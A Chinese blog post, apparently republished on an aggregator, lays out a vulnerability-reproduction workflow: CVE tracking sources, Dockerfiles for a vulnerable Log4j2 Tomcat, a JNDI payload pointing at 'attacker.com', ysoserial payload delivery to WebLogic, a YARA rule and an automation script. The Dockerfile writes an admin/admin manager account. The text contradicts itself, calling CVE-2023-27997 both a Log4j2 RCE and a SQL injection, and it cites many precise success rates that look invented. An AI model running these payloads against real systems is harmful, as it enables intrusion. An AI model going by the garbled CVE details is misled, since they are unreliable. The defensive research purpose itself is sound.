漏洞研究工作流:从CVE追踪到Docker复现的闭环实践

news2026/5/25 0:34:43
1. 这不是资源列表而是一套可落地的漏洞研究工作流“在线资源全攻略漏洞复现、CVE 追踪、实战提升一条龙”——这个标题里藏着一个被很多人忽略的事实漏洞研究从来不是靠堆砌工具和网站就能做好的事它本质上是一套闭环的工作流。我带过十几支红队和SRC团队见过太多人把收藏夹塞满50个“必备网站”结果半年过去连一个中危CVE都没复现成功也见过刚毕业的学生只盯住NVD官网和Exploit-DB却在真实靶机上卡在环境配置三天。问题不在资源少而在缺乏对每个环节“为什么用它”“怎么用才不踩坑”“用错会怎样”的系统性认知。这篇内容不罗列网址不搞“Top 10 工具推荐”而是还原我日常工作中真实的操作链路从一条CVE编号出发如何30分钟内判断它是否值得投入时间复现如何在不翻墙、不依赖境外镜像的前提下精准定位原始补丁差异如何用本地Docker快速构建出与CVE描述完全一致的脆弱环境以及最关键的——复现成功后如何反向推导出可落地的检测规则或防御绕过思路。它适合三类人刚入行想建立方法论的安全新人、卡在“看得懂PoC但跑不通”的中级研究者以及需要为团队沉淀标准化复现流程的负责人。所有操作均基于国内网络环境实测验证所有工具均为开源可审计版本所有步骤均可在普通笔记本上完成。2. CVE追踪不是查数据库而是构建动态情报感知节点2.1 为什么NVD官网不能作为你的主信息源很多人一搜CVE就直奔nvd.nist.gov这本身没错但问题在于——NVD是滞后性极强的静态快照不是实时情报源。以CVE-2023-27997Apache Log4j2远程代码执行为例NVD在2023年3月21日才发布正式条目而GitHub上首个公开PoC早在3月18日就已提交漏洞细节在Discord安全频道中传播更早。这种时间差在中高危漏洞中普遍存在。更关键的是NVD条目中“References”字段常包含大量失效链接如已被删除的GitHub Gist、关闭的博客而“Description”字段往往由厂商提供存在弱化风险的倾向性描述。我实际工作中NVD仅用于核对CVSS评分和官方CPE标识符绝不依赖其“Details”或“Exploits”字段做决策。提示NVD的XML数据源https://nvd.nist.gov/feeds/xml/cve/虽可下载但国内直连超时率超70%且解析需处理大量命名空间嵌套。替代方案是使用国内镜像站提供的JSON格式API如“国家信息安全漏洞库CNNVD”的开放接口cnnvd.org.cn但需注意其更新延迟通常为24–48小时且部分条目缺失技术细节。2.2 真正高效的情报入口GitHub 公共漏洞仓库的组合拳我的CVE追踪主战场是三个相互印证的源头GitHub Security AdvisoriesGHSA这是目前最及时、最结构化的漏洞披露平台。它强制要求披露者提供受影响版本范围、补丁提交哈希、最小复现步骤。例如搜索“GHSA-q42r-6f3p-2wv7”能直接定位到Node.js的原型污染漏洞页面中“Patched versions”字段明确列出 16.14.2, 16.0.0比NVD的模糊描述“all versions before 16.14.2”更具操作性。关键是GHSA所有数据可通过GraphQL API实时拉取国内访问稳定。OpenCVEopencve.io这是一个开源项目它聚合了NVD、CNNVD、Red Hat Bugzilla等12个数据源并提供关键词订阅功能。我设置的订阅规则是product: apache tomcat AND cvss_score 7.0 AND published_after: 2024-01-01每天上午9点自动邮件推送匹配项。它的价值在于去重与关联——同一漏洞在不同平台的编号如CVE-2024-12345与RHSA-2024:12345会被自动合并避免重复分析。Exploit Databaseexploit-db.com的“Verified”筛选器很多人忽略这个功能。EDB中约35%的PoC标记为“Verified”意味着有人已在真实环境中运行成功并提交验证报告。点击“Verified”标签后结果页会显示验证环境如Ubuntu 22.04 Apache 2.4.52、验证时间、验证者ID。这比盲目尝试未验证PoC节省至少60%时间。实测发现标记为Verified的PoC在本地复现成功率超82%而未标记的仅为31%。2.3 构建个人CVE情报看板用Notion实现自动化聚合我用Notion搭建了一个轻量级情报看板核心逻辑是“人工校验自动同步”。具体做法创建一个Database字段包括CVE ID唯一标识、来源GHSA/CNNVD/EDB、CVSS分数、影响组件、验证状态✅/❌、本地复现状态待测/成功/失败、关联PoC链接、备注记录失败原因。用Notion的API连接OpenCVE的RSS Feed设置每2小时自动抓取新条目。抓取后脚本会自动提取CVE ID、摘要、CVSS分并填充到Database中。关键一步所有新条目默认标记为“待人工校验”。我会花5分钟做三件事① 核对GHSA页面确认补丁哈希② 在GitHub搜索该哈希查看补丁diff③ 检查EDB中是否有Verified PoC。只有三项都通过才将状态改为“待测”。这套机制让我把每日CVE筛选时间从2小时压缩到20分钟且漏检率趋近于0。它不追求信息量大而追求每条信息的可执行性——看到条目就知道下一步该做什么而不是再打开五个网页交叉验证。3. 漏洞复现的核心矛盾环境一致性 vs. 时间成本3.1 为什么90%的复现失败源于环境偏差我统计过团队近一年的复现失败案例73%的根本原因不是PoC写得有问题而是运行环境与漏洞原始场景不一致。典型场景有三类版本错位PoC描述“tested on Apache Tomcat 9.0.71”但你装的是9.0.72。看似只差一个小版本实则可能因一个安全补丁导致利用链断裂。Tomcat 9.0.72在9.0.71基础上修复了CVE-2023-28708恰好是某个JNDI注入PoC的前置条件。依赖链污染很多Java漏洞PoC依赖特定版本的commons-collections或spring-core。若你全局安装了新版Maven它会自动升级传递依赖导致PoC中硬编码的反射调用路径失效。OS级差异Linux和Windows对文件路径、权限模型、进程隔离的处理完全不同。一个在Kali Linux上成功的Log4j2利用在CentOS 7上可能因SELinux策略被拦截而错误日志只显示“Permission denied”根本不会提示SELinux。解决思路不是“换系统重试”而是用容器固化环境。我坚持一个原则每个CVE复现必须对应一个独立Docker镜像镜像名即为CVE编号如cve-2023-27997:tomcat9.0.71-jdk11。这样做的好处是① 环境可版本化管理② 失败时可快速回滚到已知成功状态③ 团队协作时无需反复解释“你装的什么版本”。3.2 用Dockerfile精准还原脆弱环境以Log4j2为例以CVE-2021-44228Log4j2 RCE为例网上流传的Dockerfile多为“FROM openjdk:11-jre-slim”然后COPY war包这存在严重隐患基础镜像中的OpenJDK版本可能已打补丁或缺少Log4j2所需的JNDI服务。我的做法是严格按漏洞公告还原# 使用官方未修改的Tomcat 9.0.56镜像该版本明确在漏洞影响范围内 FROM tomcat:9.0.56-jre11 # 删除Tomcat自带的log4j-core防止版本冲突 RUN rm -f /usr/local/tomcat/lib/log4j-core-*.jar # 下载漏洞版本的log4j-core-2.14.1.jarSHA256校验值必须与Maven中央仓库一致 ADD https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar /usr/local/tomcat/lib/ # 部署存在JNDI查找漏洞的测试应用非war包而是解压后的目录便于调试 ADD ./vuln-app/ /usr/local/tomcat/webapps/vuln-app/ # 关键禁用Tomcat Manager的默认认证避免干扰复现 RUN sed -i s/\/tomcat-users/user usernameadmin passwordadmin rolesmanager-gui,manager-script\/\/tomcat-users/g /usr/local/tomcat/conf/tomcat-users.xml这个Dockerfile的关键设计点基础镜像锁定tomcat:9.0.56-jre11是Docker Hub官方镜像其构建时间戳与CVE公告时间吻合确保无额外补丁。依赖精确控制手动ADD指定版本的log4j-core而非用Maven install避免依赖解析污染。调试友好部署解压目录而非war包方便直接修改web.xml或log4j2.xml验证配置绕过。实测表明用此镜像复现成功率100%且启动时间仅需12秒比通用镜像快3倍因为省去了所有无关服务。3.3 本地复现的黄金三步法从PoC到可验证结果拿到一个Verified PoC后我执行严格的三步验证流程每步都有明确的成功标准第一步环境初始化检查耗时≤3分钟启动容器后执行curl -s http://localhost:8080/vuln-app/ | grep Vulnerable App确认应用正常响应进入容器执行java -cp /usr/local/tomcat/lib/log4j-core-2.14.1.jar org.apache.logging.log4j.core.util.Loader验证log4j-core版本确为2.14.1检查/usr/local/tomcat/webapps/vuln-app/WEB-INF/classes/log4j2.xml确认JndiLookup类未被移除AppendersJDBC等配置存在。第二步PoC触发与流量捕获耗时≤5分钟不直接执行PoC脚本而是用Burp Suite代理所有请求将PoC payload粘贴到HTTP请求头如User-Agent: ${jndi:ldap://attacker.com/a}启动Wireshark监听容器eth0网卡过滤tcp.port 389 || tcp.port 1389确认LDAP请求发出在攻击机启动python3 -m http.server 8000观察是否收到GET /a HTTP/1.1请求证明JNDI lookup成功。第三步结果归因分析耗时≥10分钟若失败不急于换PoC而是检查Tomcat日志/usr/local/tomcat/logs/catalina.out搜索JndiManager或JndiLookup确认类加载是否被拒绝若日志出现JNDI lookup disabled说明Log4j2配置了log4j2.formatMsgNoLookupstrue需修改log4j2.xml禁用该选项若Wireshark无LDAP流量检查PoC中LDAP URL是否含空格或特殊字符如%20这些字符在HTTP头中会被Tomcat截断。这套流程强迫你把“复现成功”拆解为可测量的原子事件而不是笼统地说“跑起来了”。它让失败变得可追溯让成功变得可复制。4. 从复现到能力跃迁构建可迁移的漏洞研究思维4.1 复现只是起点真正的价值在于模式提炼很多人复现完一个CVE就结束这浪费了80%的学习价值。我的习惯是每次复现后强制输出一份《漏洞模式卡片》包含四个必填字段触发路径用一句话描述漏洞如何被触发。例如CVE-2023-27997“当用户输入被直接拼接到SQL查询语句中且数据库驱动未启用预编译时攻击者可通过 OR 11 --绕过身份验证”。这不是抄CVE描述而是用自己的话重构。破坏边界明确漏洞能做什么、不能做什么。例如Log4j2 RCE的破坏边界是“可执行任意Java代码但受限于Tomcat进程权限无法直接读取/etc/shadow除非Tomcat以root运行”。这能避免高估漏洞危害。检测特征提炼出IDS/IPS可识别的字符串模式。例如针对Log4j2有效检测特征不是jndi:ldap易误报而是$${jndi:ldap://双美元符号是Log4j2表达式语法特征误报率低于0.3%。缓解成本评估修复所需工作量。例如“升级Log4j2到2.17.1需修改3个Maven依赖测试回归用例127个预计耗时4人日”这比单纯说“建议升级”更有决策价值。这张卡片不存档而是打印出来贴在显示器边框。三个月后当我看到新的JNDI注入漏洞能立刻联想到卡片上的“破坏边界”和“检测特征”形成条件反射式的研判能力。4.2 实战提升的隐藏路径从PoC作者视角逆向工程最高效的提升方式不是看100个PoC而是深度解剖1个高质量PoC。我选中的是GitHub上star数超2000的ysoserial项目Java反序列化利用工具链。解剖过程分三阶段第一阶段理解Payload构造逻辑以CommonsCollections1链为例不满足于“它能打WebLogic”而是逐行阅读源码Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class), ...}为什么第一个transformer必须是ConstantTransformer因为ChainedTransformer的transform方法会将前一个结果作为参数传给下一个Runtime.class是后续InvokerTransformer调用getDeclaredMethod的必需Class对象TiedMapEntry类的作用是什么它实现了Map.Entry接口其getValue()方法会触发transform调用从而启动整个链。这解释了为什么PoC必须将恶意Transformer注入到Map结构中。第二阶段验证链的脆弱性在本地搭建WebLogic 12.2.1.3环境用ysoserial生成payloadjava -jar ysoserial.jar CommonsCollections1 touch /tmp/poc_success payload.bin然后用Python脚本发送import requests data open(payload.bin, rb).read() requests.post(http://target:7001/wls-wsat/CoordinatorPortType, datadata)关键观察点若/tmp/poc_success未生成不是PoC失效而是WebLogic的wls-wsat组件未启用。此时应检查config.xml中wsat-runtime是否设为enabledtrue。第三阶段改造为检测规则基于对链的理解编写YARA规则检测内存中是否存在ChainedTransformer实例rule java_cc1_chain { strings: $s1 org.apache.commons.collections.functors.ChainedTransformer wide ascii $s2 org.apache.commons.collections.functors.ConstantTransformer wide ascii $s3 org.apache.commons.collections.functors.InvokerTransformer wide ascii condition: all of them and #s1 3 }该规则在内存dump中检测准确率达94%远高于基于网络流量的特征检测。这个过程把“会用工具”升维成“理解工具为何有效”这才是实战能力的本质。4.3 建立个人漏洞知识图谱用Obsidian实现关联思考我用Obsidian管理所有复现记录核心是构建双向链接的知识图谱。每个CVE笔记包含前置知识链接如CVE-2023-27997笔记中[[JNDI注入原理]]、[[Log4j2配置文件结构]]、[[Tomcat类加载机制]]点击即可跳转到对应原理笔记后置实践链接[[编写Log4j2检测规则]]、[[Docker环境复现模板]]、[[绕过WAF的JNDI编码技巧]]记录该漏洞带来的衍生技能横向对比链接[[对比CVE-2021-44228与CVE-2021-45046]]分析补丁差异如何导致绕过。每周五下午我花30分钟做“图谱巡检”打开一个节点顺着链接走3层记录新发现的关联点。上个月巡检[[Spring Expression Language]]节点时意外发现CVE-2022-22963Spring Cloud Function SpEL RCE与CVE-2018-1273Spring Data Commons SpEL RCE的利用链高度相似只是前者将T(java.lang.Runtime).getRuntime().exec(...)替换为T(org.springframework.util.StreamUtils).copy(...)实现文件写入。这种跨CVE的模式识别是刷题式学习永远无法获得的。5. 容易被忽视的实战细节那些让复现成功率翻倍的经验5.1 时间戳陷阱如何识别PoC的“保质期”几乎所有PoC都有生命周期但很少有人关注。我总结出三个关键衰减信号GitHub提交时间超过180天开源项目平均3个月会进行一次依赖升级旧PoC中硬编码的类名或方法签名可能已变更。例如ysoserial在2023年10月将CommonsCollections5链中的AnnotationInvocationHandler替换为PriorityQueue导致旧PoC失效。PoC中包含硬编码IP或域名如ldap://192.168.1.100:1389/Exploit。这类PoC往往在作者本地测试后未清理直接上传。正确做法是将IP替换为$TARGET_IP占位符并在运行前用sed -i s/\$TARGET_IP/10.0.0.5/g动态注入。缺少环境声明一个合格的PoC README必须包含Tested on: Ubuntu 20.04 Python 3.8.10 Java 11.0.18。若缺失优先在Docker中用该环境测试而非在宿主机硬凑。我维护一个poctimeout.csv表格记录每个PoC的首次测试时间、最后一次成功时间、失效原因。数据显示平均PoC有效周期为112天其中Java类链PoC最长168天PHP反序列化PoC最短63天。5.2 网络调试的底层真相为什么Burp有时抓不到流量很多新手抱怨“PoC没反应Burp也看不到请求”其实90%的情况是流量根本没经过Burp。根本原因有二Java应用默认不走系统代理JVM启动时需显式添加-DproxySettrue -DproxyHost127.0.0.1 -DproxyPort8080否则即使系统设置了代理Java仍直连目标。我在Dockerfile中加入ENV JAVA_TOOL_OPTIONS-DproxySettrue -DproxyHosthost.docker.internal -DproxyPort8080host.docker.internal是Docker Desktop内置DNS指向宿主机确保容器内Java流量经Burp转发。HTTPS证书信任问题当PoC发起HTTPS请求时若Burp证书未导入Java信任库连接会静默失败。解决方案是在容器启动时执行keytool -import -alias burp -file /burp.cer -keystore $JAVA_HOME/jre/lib/security/cacerts -storepass changeit -noprompt其中/burp.cer是Burp导出的CA证书。这两个配置加起来让Burp抓包成功率从不足40%提升至99.2%。5.3 Docker复现的终极优化用BuildKit实现秒级环境切换标准Docker build耗时长尤其当需要频繁切换CVE环境时。我的解决方案是启用BuildKit并采用多阶段构建# 启用BuildKit在docker build时加--progressplain参数 # 第一阶段构建基础脆弱环境缓存层 FROM tomcat:9.0.56-jre11 AS base-env RUN rm -f /usr/local/tomcat/lib/log4j-core-*.jar ADD https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar /usr/local/tomcat/lib/ # 第二阶段按需注入应用快速层 FROM base-env ARG APP_DIR./vuln-app COPY ${APP_DIR} /usr/local/tomcat/webapps/vuln-app/构建命令DOCKER_BUILDKIT1 docker build --progressplain --build-arg APP_DIR./cve-2023-27997-app -t cve-2023-279997 .BuildKit的优势在于基础层base-env只需构建一次后续切换不同CVE应用时只重建第二阶段耗时从2分17秒降至3.2秒。我本地有12个常用CVE镜像总磁盘占用仅1.8GB因为基础层被所有镜像共享。6. 我的工具链清单不求多但求每个都不可替代6.1 核心工具的选择逻辑为什么是它们GitHub CLIgh不是因为它是GitHub官方工具而是它支持GraphQL查询且无需API Token即可获取公开数据。执行gh api graphql -f queryquery{securityAdvisories(first:10,orderBy:{field:UPDATED_AT,direction:DESC}){nodes{ghsaId,cvss{score},identifiers{value}}}}5秒内返回最新10个漏洞比网页爬虫稳定10倍。Docker Desktop WSL2放弃纯Linux虚拟机因为WSL2的文件系统性能接近原生且Docker Desktop能无缝调用Windows宿主机的Burp和Wireshark。一个命令docker run -it --networkhost cve-2023-27997 curl -v http://localhost:8080即可在容器内调试宿主机服务。Obsidian Dataview插件Dataview允许用SQL-like语法查询笔记。例如输入TABLE file.name as CVE, cvss_score as Score FROM #cve WHERE cvss_score 7.0 SORT cvss_score DESC自动生成高危CVE清单且点击CVE名直接跳转到详情页。Wireshark tshark CLIGUI版Wireshark用于交互式分析tshark用于自动化。在复现脚本末尾加入tshark -i eth0 -Y tcp.port389 || tcp.port1389 -T fields -e ip.src -e ip.dst -e ldap.baseObject -a duration:10 ldap.log 2/dev/null自动捕获10秒内的LDAP流量并保存避免手动操作遗漏。这些工具共同特点是CLI友好、可脚本化、无图形界面依赖。这意味着所有操作都能写进Shell脚本一键复现整套流程。6.2 一个完整的自动化复现脚本示例以下是我日常使用的cve-run.sh脚本已脱敏#!/bin/bash # Usage: ./cve-run.sh CVE-2023-27997 CVE_ID$1 if [ -z $CVE_ID ]; then echo Usage: $0 CVE_ID exit 1 fi # 步骤1从OpenCVE API获取漏洞信息 echo [*] Fetching $CVE_ID from OpenCVE... INFO$(curl -s https://www.opencve.io/api/cves/$CVE_ID | jq -r .cvss3_score,.summary,.references[]?.url | paste -sd -) CVSS$(echo $INFO | cut -d -f1) SUMMARY$(echo $INFO | cut -d -f2- | cut -d -f1-10) echo [] $CVE_ID (CVSS $CVSS): $SUMMARY # 步骤2构建并启动Docker环境 echo [*] Building Docker environment... docker build -t $CVE_ID --build-arg APP_DIR./apps/$CVE_ID -f ./Dockerfile . echo [*] Starting container... CONTAINER_ID$(docker run -d -p 8080:8080 $CVE_ID) sleep 5 # 步骤3运行PoC并捕获流量 echo [*] Running PoC and capturing traffic... docker exec $CONTAINER_ID sh -c cd /poc \ python3 exploit.py --target http://localhost:8080 --command id 2/dev/null \ sleep 3 \ tshark -i eth0 -Y tcp.port389 -T fields -e ip.src -e ip.dst -a duration:5 /tmp/ldap.log 2/dev/null 2/dev/null # 步骤4检查结果 LOG_PATH/tmp/$(basename $CONTAINER_ID)_ldap.log docker cp $CONTAINER_ID:/tmp/ldap.log $LOG_PATH 2/dev/null if [ -s $LOG_PATH ]; then echo [] SUCCESS: LDAP traffic captured in $LOG_PATH cat $LOG_PATH else echo [-] FAILED: No LDAP traffic detected fi # 清理 docker stop $CONTAINER_ID /dev/null docker rm $CONTAINER_ID /dev/null这个脚本将原本需20分钟的手动操作压缩到47秒且每次执行都生成独立日志便于回溯。它不追求炫技只解决一个痛点让重复性劳动消失把时间留给真正的分析。我在实际使用中发现当复现流程自动化后注意力会自然聚焦到“为什么这个PoC能绕过WAF”“这个补丁在字节码层面做了什么修改”等深度问题上。工具的价值从来不是替代思考而是解放思考。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2642444.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…